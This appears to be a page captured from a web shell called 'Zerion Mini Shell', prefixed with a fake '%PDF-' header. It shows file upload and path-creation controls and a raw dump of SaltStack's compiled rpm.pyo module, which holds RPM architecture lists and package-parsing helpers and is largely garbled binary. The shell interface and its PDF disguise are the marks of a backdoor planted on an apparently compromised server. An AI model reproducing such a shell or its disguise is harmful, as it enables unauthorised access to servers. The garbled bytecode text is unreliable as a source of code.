%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/utils/pkg/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/utils/pkg/rpm.pyo

�
���^c
@@s#dZddlmZmZmZddlZddlZddlZddlZddl	Z
ddlmZej
e�Zd4Zd5Zd6Zd7Zd8Zd9Zd:Zd;ZeeeeeeeZd,Zd-�Zdd.�Zddd/�Zdd0�Zdd1�Zd2�Z d3�Z!dS(<u0
Common functions for working with RPM packages
i(tabsolute_importtprint_functiontunicode_literalsN(tsixux86_64uathlonuamd64uia32euia64ugeodeui386ui486ui586ui686uppcuppc64uppc64iseriesuppc64pseriesus390us390xusparcusparcv8usparcv9usparcv9vusparc64usparc64vualphaualphaev4u	alphaev45ualphaev5u	alphaev56u
alphapca56ualphaev6u	alphaev67u	alphaev68ualphaev7uarmv5telu	armv5tejluarmv6luarmv7lush3ush4ush4auS%{NAME}_|-%{EPOCH}_|-%{VERSION}_|-%{RELEASE}_|-%{ARCH}_|-%{REPOID}_|-%{INSTALLTIME}c
C@sVtjddtdtdtjdtj�j�d}tjjj|�j	�pUdS(u2
    Get the os architecture using rpm --eval
    urpm --eval "%{_host_cpu}"tshellt	close_fdststdouttstderriuunknown(
t
subprocesstPopentTruetPIPEtcommunicatetsalttutilststringutilstto_strtstrip(tret((s6/usr/lib/python2.7/site-packages/salt/utils/pkg/rpm.pyt
get_osarch)s	cC@s2|dkrt�}ntd�||fD��S(uI
    Returns True if both the OS arch and the passed arch are 32-bit
    cs@s|]}|tkVqdS(N(t	ARCHES_32(t.0tx((s6/usr/lib/python2.7/site-packages/salt/utils/pkg/rpm.pys	<genexpr><sN(tNoneRtall(tarchtosarch((s6/usr/lib/python2.7/site-packages/salt/utils/pkg/rpm.pytcheck_326scC@s+tjdd�}|||||||�S(	u/
    Build and return a pkginfo namedtuple
    uPkgInfounameuversionuarchurepoiduinstall_dateuinstall_date_time_t(unameuversionuarchurepoiduinstall_dateuinstall_date_time_t(tcollectionst
namedtuple(tnametversionRtrepoidtinstall_datetinstall_date_time_tt
pkginfo_tuple((s6/usr/lib/python2.7/site-packages/salt/utils/pkg/rpm.pytpkginfo?s	cC@sT|dkrt�}nt||�rP||dfkrP|dj|�7}n|S(u�
    Resolve the package name and arch into a unique name referred to by salt.
    For example, on a 64-bit OS, a 32-bit package will be pkgname.i386.
    unoarchu.{0}N(RRRtformat(RRR((s6/usr/lib/python2.7/site-packages/salt/utils/pkg/rpm.pytresolve_nameLs
"cC@s�y(|jd�\}}}}}}}Wntk
r<dSXt|||�}|rk|dj|�7}n|dkr�dj||f�}n|d	kr�tjjt|��j	�d}	t|�}
nd}	d}
t
|||||	|
�S(
uf
    A small helper to parse an rpm/repoquery command's output. Returns a
    pkginfo namedtuple.
    u_|-u-{0}u(none)u0u:uZN(u(none)u0(u(none)u0(tsplitt
ValueErrorRR&R%tjointdatetimetutcfromtimestamptintt	isoformatR$(tlineRRtepochRtreleaseRR tinstall_timeR!R"((s6/usr/lib/python2.7/site-packages/salt/utils/pkg/rpm.pyt
parse_pkginfoYs(
"cC@s�t|t�s|g}ng}xT|D]L}t|tj�sOt|�}n|jdj|jd�j���q(Wdj|�S(u�
    Given a list of comments, strings, a single comment or a single string,
    return a single string of text containing all of the comments, prepending
    the '#' and joining with newlines as necessary.
    u# {0}
u#u(	t
isinstancetlistRtstring_typeststrtappendR%tlstripR)(tcommentsRtcomment((s6/usr/lib/python2.7/site-packages/salt/utils/pkg/rpm.pytcombine_commentsus
)cC@s�|dkrd	S|jd�}|dkreytjt|| ��}Wqktk
rad}qkXnd}|jd�}|dkr�||d|!}||d}n||d}d}|||fS(
u[
    Split the package version string into epoch, version and release.
    Return this as tuple.

    The epoch is always not empty. The version and the release can be an empty
    string if such a component could not be found in the version string.

    "2:1.0-1.2" => ('2', '1.0', '1.2)
    "1.0" => ('0', '1.0', '')
    "" => ('0', '', '')
    uu0u:i����u-iN(Nu(u0uu(RtfindRt	text_typeR,R((t	verstringtidx_eR/tidx_rRR0((s6/usr/lib/python2.7/site-packages/salt/utils/pkg/rpm.pytversion_to_evr�s 

(ux86_64uathlonuamd64uia32euia64ugeode(ui386ui486ui586ui686(uppcuppc64uppc64iseriesuppc64pseries(us390us390x(usparcusparcv8usparcv9usparcv9vusparc64usparc64v(
ualphaualphaev4u	alphaev45ualphaev5u	alphaev56u
alphapca56ualphaev6u	alphaev67u	alphaev68ualphaev7(uarmv5telu	armv5tejluarmv6luarmv7l(ush3ush4ush4a("t__doc__t
__future__RRRRR*tloggingRtsalt.utils.stringutilsR
tsalt.extRt	getLoggert__name__tlogt	ARCHES_64Rt
ARCHES_PPCtARCHES_S390tARCHES_SPARCtARCHES_ALPHAt
ARCHES_ARMt	ARCHES_SHtARCHEStQUERYFORMATRRRR$R&R2R;RA(((s6/usr/lib/python2.7/site-packages/salt/utils/pkg/rpm.pyt<module>s4	
	

	

Zerion Mini Shell 1.0